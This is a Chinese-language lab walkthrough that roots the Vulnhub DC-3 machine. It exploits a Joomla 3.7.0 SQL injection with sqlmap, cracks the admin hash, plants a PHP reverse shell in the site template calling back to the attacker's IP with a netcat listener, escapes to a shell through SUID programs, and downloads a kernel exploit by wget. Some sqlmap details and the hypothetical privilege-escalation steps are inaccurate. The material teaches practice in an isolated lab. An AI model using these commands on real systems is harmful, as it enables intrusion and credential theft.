从SQL注入到Root权限:Joomla 3.7.0渗透测试实战解析

1. 项目概述:一次完整的渗透测试实战演练

如果你刚接触网络安全,想找个地方练手,但又觉得那些理论太枯燥,或者看别人的教程总感觉云里雾里,那Vulnhub的DC系列靶场绝对是你的不二之选。DC-3这个靶机,可以说是为新手量身定做的“毕业设计”,它不像一些变态难度的靶机那样需要你掌握各种奇技淫巧,而是非常经典地串联了从信息收集、漏洞发现、利用到权限提升的完整渗透流程。这次我们要对付的是一个运行着Joomla 3.7.0内容管理系统的网站,这个版本恰好存在一个影响广泛的SQL注入漏洞。整个通关过程,就像是在解一道设计精巧的谜题,每一步都有迹可循,非常适合用来建立渗透测试的实战思维框架。我会带你从零开始,手把手走完从发现目标到最终拿到Root权限的全过程,过程中涉及的工具、命令和思路,都是实际工作中最常用的,保证你看完就能上手操作。

2. 环境准备与靶机部署

2.1 靶机下载与虚拟机配置

首先,你得去Vulnhub官网找到DC-3的下载页面。Vulnhub上的靶机镜像通常是OVA格式,这意味着它已经预先配置好了虚拟硬件,兼容VMware和VirtualBox。下载完成后,直接在你的虚拟化软件(我习惯用VMware Workstation)里选择“打开虚拟机”,导入这个OVA文件即可。导入过程中,虚拟软件可能会询问你是否要保留或替换现有的网络配置,一般选择“保留”就行。这里有个关键点:务必确保你的攻击机和靶机处于同一个网络环境中。最省事的办法是,将两者的网络适配器都设置为“NAT模式”或“仅主机模式”。我强烈推荐使用“仅主机模式”,因为这样能创建一个完全隔离的虚拟网络,避免你的扫描和攻击行为影响到物理网络上的其他设备,也更安全。

导入成功后,启动DC-3靶机。你会看到一个基于Ubuntu系统的启动界面,它通常会自动获取IP地址并启动所有服务。你的第一个任务,就是找到它在这个虚拟网络里的IP地址。但靶机不会直接告诉你,这就需要我们进行主动探测。

2.2 攻击机环境与工具清单

我们的攻击机通常是一台Kali Linux,因为它集成了几乎所有我们需要的渗透测试工具。如果你的攻击机不是Kali,也没关系,确保安装了以下核心工具即可:

  • 网络扫描器nmap,这是信息收集的基石,用于发现主机和端口。
  • Web漏洞扫描器nikto,用于对Web应用进行快速的安全扫描,发现常见配置错误和漏洞。
  • 内容发现工具gobusterdirb,用于暴力破解网站目录和文件,发现隐藏的入口点。
  • 漏洞利用框架searchsploit(本地漏洞库查询)和Metasploit Framework (msfconsole),后者是一个强大的集成化攻击平台,但本次我们会更多使用独立脚本来加深理解。
  • 数据库利用工具sqlmap,自动化SQL注入检测与利用的神器,我们这次会重点用到它。
  • 代码审计与利用脚本:可能需要根据漏洞情况,手动编写或使用现成的Python/Perl脚本来利用漏洞。

在开始之前,确保你的攻击机网络设置与靶机一致(同为仅主机模式),并且能互相通信。你可以先尝试用ping命令探测一个大概的网段,比如ping -c 1 192.168.56.100,但更高效的方法是直接进行网段扫描。

3. 信息收集:锁定目标与初步侦查

3.1 网络发现与主机识别

信息收集是渗透测试中耗时最长但也最关键的一步,它决定了后续所有攻击的方向。我们的第一步是找出DC-3的IP地址。在Kali Linux上,打开终端,使用ifconfigip addr命令查看攻击机在仅主机网络中的IP地址,假设是192.168.56.101,那么靶机很可能就在192.168.56.0/24这个网段内。

接下来,使用nmap进行存活主机扫描:

nmap -sn 192.168.56.0/24

-sn参数表示只进行Ping扫描(主机发现),不扫描端口。扫描结果会列出当前网络中所有在线的主机。你应该能看到除了你的攻击机(如192.168.56.101)之外的另一台主机,那就是我们的目标DC-3,假设它的IP是192.168.56.102

注意:有些靶机可能禁用了ICMP回应,导致Ping扫描失效。如果上述命令没找到,可以尝试使用ARP扫描,因为同一局域网内ARP协议总是有效的:netdiscover -r 192.168.56.0/24

3.2 端口与服务探测

找到目标IP后,我们需要深入了解它开放了哪些门(端口),以及门上挂着什么牌子(服务)。

nmap -sV -sC -p- 192.168.56.102 -oN dc3_initial_scan.nmap

这个命令参数比较全:

  • -sV:探测服务版本。
  • -sC:使用默认的Nmap脚本进行扫描,能发现一些常见漏洞和信息。
  • -p-:扫描所有65535个端口(全端口扫描)。在时间允许的情况下,全端口扫描能避免遗漏像高端口Web服务这样的入口。
  • -oN dc3_initial_scan.nmap:将扫描结果以标准格式输出到文件,方便后续查阅。

扫描完成后,你大概率会看到类似这样的结果:

PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Home

这表明靶机只开放了80端口,运行着Apache 2.4.18,上面有一个网站。这基本确定了我们的主攻方向就是Web应用渗透。

3.3 Web应用指纹识别与目录枚举

现在,在浏览器中访问http://192.168.56.102。一个标准的Joomla网站首页会呈现在眼前。如何确定它是Joomla以及具体版本呢?

  1. 手动查看:查看网页源代码,在<head>部分或meta标签里,经常能找到生成器(generator)信息,如<meta name="generator" content="Joomla! - Open Source Content Management" />。也可以查看登录页面(/administrator)、robots.txt文件或特定JS/CSS文件的路径特征。

  2. 使用工具:更高效的方法是使用whatwebnikto

    whatweb http://192.168.56.102

    这个命令会快速识别Web技术栈,你可能会看到“Joomla”、“Apache”、“PHP”等信息。为了更深入,我们运行nikto

    nikto -h http://192.168.56.102

    nikto的扫描报告可能会直接提示Joomla的版本,以及一些已知的潜在风险目录。

  3. 目录爆破:网站根目录下往往存在一些隐藏的管理后台、配置文件或备份文件。我们使用gobuster来发现它们:

    gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak

    参数解释:dir表示目录扫描模式,-u指定目标URL,-w指定字典文件(Kali自带了许多字典),-x指定要扫描的扩展名。这个扫描会花点时间,结果中你一定会发现/administrator/这个关键目录,这就是Joomla的后台管理登录入口。

至此,信息收集阶段完成。我们确认了目标:一台IP为192.168.56.102的Ubuntu主机,开放80端口,运行着Apache和Joomla CMS。下一步,就是寻找进入这个系统的突破口。

4. 漏洞挖掘与利用:攻破Joomla 3.7.0

4.1 漏洞背景与原理分析

通过信息收集,我们基本可以确定网站使用的是Joomla。接下来需要确定具体版本。一个直接的方法是访问http://192.168.56.102/administrator/manifests/files/joomla.xml,这个文件通常包含了Joomla的版本号。确认版本为3.7.0

Joomla 3.7.0版本引入了一个新的组件“com_fields”,用于自定义字段。然而,在这个版本的实现中,对用户输入到list[fullordering]参数的过滤存在缺陷,导致产生了严重的SQL注入漏洞(CVE-2017-8917)。这个漏洞无需任何身份认证(即0-click),攻击者只需构造一个特殊的HTTP请求,就能执行任意的SQL语句。简单来说,就是网站在处理文章列表排序参数时,直接把我们输入的内容拼接到了SQL查询语句里,而没有进行有效的检查或转义,给了我们注入自己SQL代码的机会。

4.2 使用Searchsploit查找利用代码

Kali Linux内置了searchsploit工具,它是一个离线的漏洞利用数据库检索工具。我们用它来查找Joomla 3.7.0的公开利用代码。

searchsploit joomla 3.7.0

执行后,你会看到几条记录,其中很可能包含一个名为“Joomla! 3.7.0 - SQL Injection”的利用脚本,其路径可能是/usr/share/exploitdb/exploits/php/webapps/42033.txt。这个文件通常是一个Python或Perl脚本的说明或源码。

我们可以直接查看这个文件:

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

或者将其复制到当前目录进行修改和使用:

searchsploit -m php/webapps/42033.txt

查看脚本内容,你会发现它是一个Python脚本,核心原理是向存在漏洞的端点(通常是/index.php?option=com_fields&view=fields)发送带有恶意SQL注入载荷的POST请求。

4.3 利用SQL注入获取管理员凭据

虽然可以直接运行找到的利用脚本,但为了更深入地理解,我们使用更强大的自动化工具sqlmapsqlmap可以自动检测和利用SQL注入漏洞,并直接拖取数据库数据。

首先,我们需要找到存在漏洞的URL参数。根据漏洞详情,我们知道list[fullordering]参数在com_fields组件中存在问题。我们可以先手动测试,但用sqlmap更高效:

sqlmap -u "http://192.168.56.102/index.php?option=com_fields&view=fields" --data="list[fullordering]=updatexml" --level=3 --risk=3 --batch

参数解释:

  • -u:指定目标URL。
  • --data:指定POST请求的数据。这里我们提供了一个参数,sqlmap会尝试在这个参数点进行注入测试。
  • --level--risk:提高检测级别和风险等级,以进行更深入的测试。
  • --batch:以非交互模式运行,所有问题都选择默认答案。

sqlmap运行后,如果确认存在注入点,它会提示你。接下来,我们就可以让它枚举数据库信息了。

  1. 获取当前数据库名

    sqlmap -u "http://192.168.56.102/index.php?option=com_fields&view=fields" --data="list[fullordering]=updatexml" --current-db --batch

    它很可能会返回数据库名,比如joomladb

  2. 获取数据库中的表

    sqlmap -u "http://192.168.56.102/index.php?option=com_fields&view=fields" --data="list[fullordering]=updatexml" -D joomladb --tables --batch

    在返回的表中,Joomla的管理员用户信息通常存储在#__users表里(实际表名可能是jos_users或根据数据库前缀而定,#__是Joomla的占位符)。

  3. 拖取用户表数据

    sqlmap -u "http://192.168.56.102/index.php?option=com_fields&view=fields" --data="list[fullordering]=updatexml" -D joomladb -T "#__users" --dump --batch

    --dump参数会导出整张表的内容。执行成功后,你将得到类似下面的数据:

    idnameusernameemailpassword...
    1Super Useradminadmin@dc-3.box$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu...

    这里最关键的是usernamepassword字段。密码是经过哈希加密的(这里是bcrypt,以$2y$开头)。

4.4 破解密码哈希与登录后台

拿到哈希值后,我们需要破解它才能得到明文密码。我们可以使用john(John the Ripper)或hashcat这类密码破解工具。由于密码可能不强,我们可以先尝试用简单的字典进行破解。

  1. 将哈希值保存到文件:创建一个文件,比如hash.txt,将$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu粘贴进去。
  2. 使用John破解
    john --format=bcrypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
    --format=bcrypt指定哈希类型,--wordlist指定字典文件。rockyou.txt是一个包含常见密码的庞大字典。
  3. 查看破解结果
    john --show hash.txt
    如果字典命中,你会看到类似admin:snoopy的输出,这意味着用户名admin的密码是snoopy

现在,使用得到的凭据 (admin:snoopy) 登录Joomla后台管理页面http://192.168.56.102/administrator/。成功登录后,你就完全控制了这台Joomla网站,可以上传文件、修改模板、安装扩展等,这为我们获取服务器Shell铺平了道路。

5. 权限提升:从Web Shell到Root

5.1 上传Web Shell获取反向连接

控制后台后,获取服务器操作系统访问权限的常见方法是通过Joomla的模板或扩展管理功能上传一个Web Shell。Web Shell是一个伪装成正常网页(如PHP文件)的脚本,它允许我们在服务器上执行命令。

  1. 准备Web Shell:Kali Linux中自带了一些Web Shell,例如/usr/share/webshells/php/php-reverse-shell.php。这是一个PHP反向Shell脚本。你需要用文本编辑器打开它,修改其中的$ip变量为你的攻击机IP(192.168.56.101),$port变量为你打算监听的端口(例如4444)。

    $ip = '192.168.56.101'; $port = 4444;
  2. 上传Web Shell:在Joomla后台,找到“扩展” -> “模板” -> “模板管理”。选择当前正在使用的模板(例如“Protostar”),点击“编辑主页面(index.php)”。这是一个危险但直接的方法:将整个Web Shell的PHP代码追加到现有index.php文件的末尾。或者,更隐蔽的方法是创建一个新的PHP文件并通过“媒体管理器”上传,但可能需要找到可写的目录。修改模板文件是最快的方式。保存修改。

  3. 在攻击机启动监听:在攻击机的终端,使用netcat监听你设定的端口。

    nc -nvlp 4444
  4. 触发Web Shell:在浏览器中访问包含Web Shell的页面。如果你修改的是模板文件,通常访问网站首页http://192.168.56.102/即可触发。如果netcat终端成功接收到连接,你会看到一个命令行提示符,这表示你已经获得了目标服务器的一个低权限Shell(通常是Web服务运行的用户,如www-data)。

实操心得:直接修改生产环境的模板文件是破坏性且容易被发现的。在实际渗透测试中,应优先尝试通过“扩展管理”安装一个恶意的第三方组件,或者寻找允许上传文件的其他功能点(如文章编辑器中的图片上传,可能存在文件类型绕过漏洞)。这里为了演示最直接的路径,选择了修改模板。

5.2 系统信息枚举与横向移动

拿到www-data用户的Shell后,我们首先需要收集系统信息,为提权做准备。

whoami # 查看当前用户 id # 查看用户ID和所属组 uname -a # 查看内核版本 cat /etc/os-release # 查看系统发行版信息 sudo -l # 查看当前用户可以以root权限运行哪些命令(需要密码) find / -perm -u=s -type f 2>/dev/null # 查找SUID权限的文件

运行sudo -l可能会提示需要输入www-data用户的密码,我们通常没有。因此,重点要关注SUID文件、内核漏洞、计划任务、错误的文件权限等提权路径。

5.3 利用SUID权限进行提权

在Linux中,如果一个可执行文件设置了SUID位,那么任何用户在执行这个文件时,都会以文件所有者的身份运行。如果我们能找到属于root且设置了SUID,并且其行为可以被我们利用的程序,就能提权。

运行上面提到的find命令后,仔细检查输出列表。一个非常经典且常见的提权目标是/usr/bin/exim(邮件服务器)或某些版本的findvimnmap等。但在DC-3中,更常见的路径可能是利用一个具有SUID权限的文本编辑器或者脚本。

假设我们发现/usr/bin/editor或一个自定义的脚本具有root的SUID权限。我们可以尝试通过它来读取只有root能访问的文件,或者直接添加一个具有root权限的用户。

一种通用的方法是通过SUID的bashsh(虽然很少见,但可以作为思路)。如果发现/bin/bash有SUID位,那么直接运行/bin/bash -p-p参数保留特权)就能获得一个root shell。但更常见的情况是,我们需要利用其他SUID程序的功能。

例如,如果find命令有SUID权限,我们可以用它来执行任意命令:

find / -exec /bin/bash -p \;

或者,如果vim有SUID权限,我们可以在vim中执行系统命令:

vim.tiny # 进入vim后,输入 :! /bin/bash

在DC-3的实战中,经过枚举,你可能会发现一个关键的SUID文件,比如/usr/bin/xxd(一个十六进制转储工具)的某个版本存在利用方式,或者系统内核版本较旧,存在公开的本地提权漏洞(如DirtyCow)。这时,我们需要将相应的漏洞利用代码上传到靶机。

5.4 上传提权利用代码并执行

在攻击机上,查找本地提权漏洞利用代码。例如,使用searchsploit搜索Ubuntu版本对应的内核漏洞。

searchsploit linux kernel ubuntu local privilege escalation

找到一个合适的利用代码(比如一个C语言文件exploit.c)。我们需要将其上传到靶机。

  1. 在攻击机开启HTTP服务:在存放exploit.c的目录下,运行一个简单的Python HTTP服务器。

    python3 -m http.server 8080
  2. 在靶机Shell中下载:在之前获得的www-data的Shell中,使用wgetcurl下载文件。

    wget http://192.168.56.101:8080/exploit.c
  3. 编译并执行:在靶机上编译这个C程序(需要gcc)。

    gcc exploit.c -o exploit chmod +x exploit ./exploit

    如果漏洞利用成功,执行whoami命令,你会看到输出变成了root。恭喜,你已经获得了系统的最高权限!

6. 后渗透与总结反思

6.1 寻找Flag与信息收集

获得root权限后,通常靶机会在系统的不同位置放置一些“Flag”文件,作为完成某个阶段的证明。DC-3靶机就内置了多个Flag。常见的存放位置包括:

  • /root/目录下(root.txt
  • /home/下的用户目录
  • /var/www/网站目录
  • 桌面文件或特定应用目录

使用find命令可以快速搜索:

find / -name *flag* 2>/dev/null find / -name *.txt -type f | xargs grep -l "FLAG{" 2>/dev/null

逐个查看找到的文件,获取其中的Flag内容。

6.2 清理痕迹与退出

在真实的渗透测试中,获得授权后,清理痕迹是职业道德的一部分。但在Vulnhub靶场练习中,这一步可以省略,直接关闭靶机即可。如果你想练习,可以删除上传的Web Shell文件、清除命令历史(history -c)、删除下载的漏洞利用程序等。

6.3 通关流程复盘与核心要点

回顾整个DC-3的渗透流程,它清晰地展示了一个标准的Web渗透测试路径:

  1. 信息收集:使用nmap,nikto,gobuster确定目标、服务、应用框架和隐藏目录。
  2. 漏洞利用:针对特定版本(Joomla 3.7.0)的已知漏洞(CVE-2017-8917),使用sqlmap进行自动化SQL注入,获取后台管理员凭证。
  3. 密码破解:使用john破解bcrypt哈希,获得明文密码。
  4. 获取初始立足点:登录后台,通过文件上传或修改模板的方式部署Web Shell,获得www-data权限的交互式Shell。
  5. 权限提升:在目标系统上进行枚举(sudo -l, SUID文件查找,内核版本检查),发现提权向量(如特定SUID程序或内核漏洞),上传并执行本地提权利用程序,最终获得root权限。

核心避坑点

  • 信息收集要全面:全端口扫描和目录爆破不能省,有时突破口就在一个不起眼的高端口或隐藏路径上。
  • 工具参数要理解:不要死记命令,理解nmapsqlmap每个参数的意义,才能灵活应对不同情况。
  • 漏洞利用要精准:确认版本号再寻找对应的漏洞,盲目尝试会浪费时间并可能触发警报。
  • 提权路径需枚举:没有一成不变的提权方法,拿到低权Shell后,系统性地枚举信息是成功的关键。
  • 保持环境隔离:始终在虚拟化的隔离网络中进行练习,避免对真实系统造成意外影响。

DC-3靶场通过一个真实的、已修复的漏洞案例,让你完整地走了一遍渗透流程。掌握这个流程后,你再面对其他靶机或学习更复杂的漏洞时,就有了一个清晰的思维地图。记住,渗透测试的核心是思路和方法,工具只是辅助。多练、多思考、多总结,这才是从新手成长起来的唯一路径。